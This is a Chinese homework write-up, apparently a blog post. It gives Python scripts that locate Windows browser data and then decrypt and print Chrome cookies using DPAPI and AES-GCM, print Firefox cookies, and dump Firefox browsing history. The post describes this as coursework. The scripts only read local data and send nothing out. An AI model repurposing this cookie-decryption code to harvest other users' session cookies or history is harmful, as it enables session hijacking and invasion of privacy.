第一题

win10系统中本地cookie的存放位置为:

IE浏览器:%APPDATA%\Microsoft\Windows\Cookies\ 目录中的xxx.txt文件 (IE浏览器分开存放的);

火狐浏览器:%APPDATA%\Mozilla\Firefox\Profiles\ 目录中的???.default-release或???.default目录,名为cookies.sqlite的文件;

谷歌浏览器:%LOCALAPPDATA%\Google\Chrome\User Data\Default\ 目录中,名为Cookies的文件。

使用以下代码获取你所用机器的不同浏览器的cookie的文件夹,并打印输出。

只写了一个谷歌的例子

import os
import json
import base64
import sqlite3
import win32crypt
from cryptography.hazmat.primitives.ciphers.aead import AESGCM# 读取chrome保存在json文件中的key(str)
def GetString(LocalState):with open(LocalState, 'r', encoding='utf-8') as f:s = json.load(f)['os_crypt']['encrypted_key']return s# base64解码,DPAPI解密,得到真实的AESGCM key(bytes)
def pull_the_key(base64_encrypted_key):encrypted_key_with_header = base64.b64decode(base64_encrypted_key)encrypted_key = encrypted_key_with_header[5:]key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]return key# AESGCM解密
def DecryptString(key, data):nonce, cipherbytes = data[3:15], data[15:]aesgcm = AESGCM(key)plainbytes = aesgcm.decrypt(nonce, cipherbytes, None)plaintext = plainbytes.decode('utf-8')return plaintextif __name__ == '__main__':UserDataDir = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data'LocalStateFilePath = UserDataDir + r'\Local State'CookiesFilePath = UserDataDir + r'\Default\Cookies'print(CookiesFilePath)con = sqlite3.connect(CookiesFilePath)con.text_factory = bytesres = con.execute('select host_key,name,encrypted_value from cookies').fetchall()con.close()print(res)key = pull_the_key(GetString(LocalStateFilePath))for i in res:print(i[0], i[1], DecryptString(key, i[2]))

第二题

以下是关于SQL接口的扩展库sqlite3的介绍:

https://www.runoob.com/sqlite/sqlite-python.html

请使用 sqlite3创建一个对cookie数据库文件的数据库连接对象,解析并打印cookies.sqlite文件的内容。

if 'default-release-2' in folds_end:cookie_fold_index = folds_end.index('default-release-2')

如果没有出现以下结果可以试着手动改上面的default-release-2,可以改为我画红圈的后面的那个数字我这里是default-release-2,你可以改成你自己相应的default-release-xxx,第三题的同样如此

如果后面还是没下面这些输出,可以看看浏览器是否保留Cookies

import os
import sqlite3
def get_firfox_cookie_path():cookiepath_common = os.environ['APPDATA'] + r"\Mozilla\Firefox\Profiles"folds_arr = os.listdir(cookiepath_common)folds_end = [os.path.splitext(file)[-1][1:] for file in folds_arr]print(cookiepath_common,folds_arr)for i in folds_end:print(i)if 'default-release-2' in folds_end:cookie_fold_index = folds_end.index('default-release-2')else:cookie_fold_index = folds_end.index('default')cookie_fold = folds_arr[cookie_fold_index]cookie_path = os.path.join(cookiepath_common, cookie_fold)return os.path.join(cookie_path, 'cookies.sqlite')def printCookies(cookiesDB):try:conn = sqlite3.connect(cookiesDB)c = conn.cursor()c.execute('SELECT host, name, value FROM moz_cookies')for row in c:host = str(row[0])name = str(row[1])value = str(row[2])print ('Host: ' + host + ', Cookie: ' + name + ', Value: ' + value)except Exception as e:if 'encrypted' in str(e):print('Error')printCookies(get_firfox_cookie_path())

第三题

win10系统中火狐浏览器的书签及其访问记录存放位置为:%APPDATA%\Mozilla\Firefox\Profiles\ 目录中的xxx.default目录,名为places.sqlite的文件。

要求:使用前两题的方法解析并打印输出win10系统中火狐浏览器的书签及其访问记录。

主要代码:

conn = sqlite3.connect(places.sqlite文件)

c = conn.cursor()\

c.execute("select url, datetime(last_visit_date/1000000, 'unixepoch'), title from moz_places;")

import os
import sqlite3
def get_firfox_cookie_path():cookiepath_common = os.environ['APPDATA'] + r"\Mozilla\Firefox\Profiles"folds_arr = os.listdir(cookiepath_common)folds_end = [os.path.splitext(file)[-1][1:] for file in folds_arr]for i in folds_end:print(i)if 'default-release-2' in folds_end:cookie_fold_index = folds_end.index('default-release-2')else:cookie_fold_index = folds_end.index('default')cookie_fold = folds_arr[cookie_fold_index]cookie_path = os.path.join(cookiepath_common, cookie_fold)return os.path.join(cookie_path, 'places.sqlite')def printCookies(cookiesDB):try:conn = sqlite3.connect(cookiesDB)c = conn.cursor()c.execute("select url, datetime(last_visit_date/1000000, 'unixepoch'), title from moz_places;")for row in c:url = str(row[0])datetime = str(row[1])title = str(row[2])print ('Url: ' + url + ', datatime: ' + datetime + ', title: ' + title)except Exception as e:if 'encrypted' in str(e):print('Error')printCookies(get_firfox_cookie_path())

运行结果如图

python获取浏览器Cookies作业相关推荐

  1. python获取浏览器cookies登录熊猫tv

    在C:\Users\lenovo\AppData\Local\Google\Chrome\User Data\Default路径下查找已经在chrome上登录的cookies,然后用requests访 ...

  2. python 获取浏览器句柄下的网页控件_python webdriver操作浏览器句柄

    断言 assert self.driver.title.find(u"搜狗搜索引擎")>=0, "assert error" 浏览器后退,前进,前进前要先 ...

  3. python 获取浏览器安装位置,并使用指定浏览器打开指定网页

    说明 本程序基于Windows注册表实现了浏览器安装位置的查找功能和使用指定浏览器打开网页的功能. 使用 get_browser_path 函数可获取对应名称的浏览器的安装位置,使用 open_url ...

  4. python获取浏览器Chrome/Edge的收藏夹,历史记录(搜索记录,访问记录,下载记录),密码数据

    文章目录 1.获取思路 2.获取书签收藏夹 3.获取历史记录 3.获取浏览器保存的密码数据 3.1 读取数据库文件Login Data 3.2 获取密钥 4.完整代码获取 1.获取思路 浏览器的这些数 ...

  5. python获取浏览器数据_python 获取有关访问者的浏览器的 细节

    检测访问者的浏览器和版本号 有关访问者的浏览器的更多信息 有关访问者的浏览器的全部细节 根据浏览器来提醒用户 document.write(" 浏览器:") document.wr ...

  6. Python将浏览器cookies共享给requests库

    详情参考这里,下面提供核心代码. #coding=utf-8 #author:walker #date:2013-11-21from selenium import webdriver import ...

  7. python 获取浏览器句柄下的网页控件,Python获取浏览器窗口句柄过程解析

    句柄(handle)是C++程序设计中经常提及的一个术语.它并不是一种具体的.固定不变的数据类型或实体,而是代表了程序设计中的一个广义的概念.句柄一般是指获取另一个对象的方法--一个广义的指针,它的具 ...

  8. python 获取窗口句柄 模拟 点击按钮,Python获取浏览器窗口句柄过程解析

    句柄(handle)是C++程序设计中经常提及的一个术语.它并不是一种具体的.固定不变的数据类型或实体,而是代表了程序设计中的一个广义的概念.句柄一般是指获取另一个对象的方法--一个广义的指针,它的具 ...

  9. php获取浏览器cookies,简单实现创建以及读取浏览器中cookie的几种方法

    在制作网站过程中,有时候我们需要将数据记录在cookie中,以验证或传递某些数据,那么怎样才能写入cookie与读取cookie呢 1.使用js来读写cookie function setcookie ...

最新文章

  1. GROMACS运行参数之nvt.mdp文件详解
  2. python操作excel-Python对Excel的读写等操作(转)
  3. 编程之美-快速寻找满足条件的两个数方法整理
  4. [转载] C#面向对象设计模式纵横谈——10. Decorator装饰模式
  5. Android之library class android.webkit.WebViewClient depends on program class android.net.http.SslErro
  6. 使用Maven进行增量构建
  7. Mysql合并两个sql结果
  8. Spring-beans-BeanDefinitionRegistry
  9. Python——如何屏蔽函数内部的print输出
  10. js中定义变量的符号
  11. 已知p是一个指向类a的数据成员m的指针_C++ this指针的理解和作用
  12. HTML当当图书馆作业介绍
  13. 在线IDE的原理及设计思路 以Java为例
  14. 树莓派硬件编程——(一)用RPi.GPIO库输出信号
  15. 一根竹子,4天的生长过程
  16. 李阳和他的疯狂英语(r5笔记第46天)
  17. C. Dominant Piranha(思维) Codeforces Round #677 (Div. 3)
  18. python爬虫——校花网
  19. JavaScript事件解析
  20. 【Python 常用英文单词】——总结Python常用的英文单词 最全版

热门文章

  1. GO语言的基本语法体结构
  2. (四)C语言中的字符类型
  3. Apm飞控学习笔记之-RC_Channel遥控器数据获取-Cxm
  4. Java时间格式设置
  5. 微信小程序视频层级过高问题与淘宝商品详情相册展示效果
  6. 公众号运营攻略:教你一天涨粉200以上
  7. 【docker详解07】-端口映射
  8. centos 关闭selinux 临时关闭selinux 报错 setenforce: setenforce() failed
  9. python静态变量定义_Python的学习(二十一)----Python的静态变量
  10. 添加应用分身demo 仿酷派大神 等等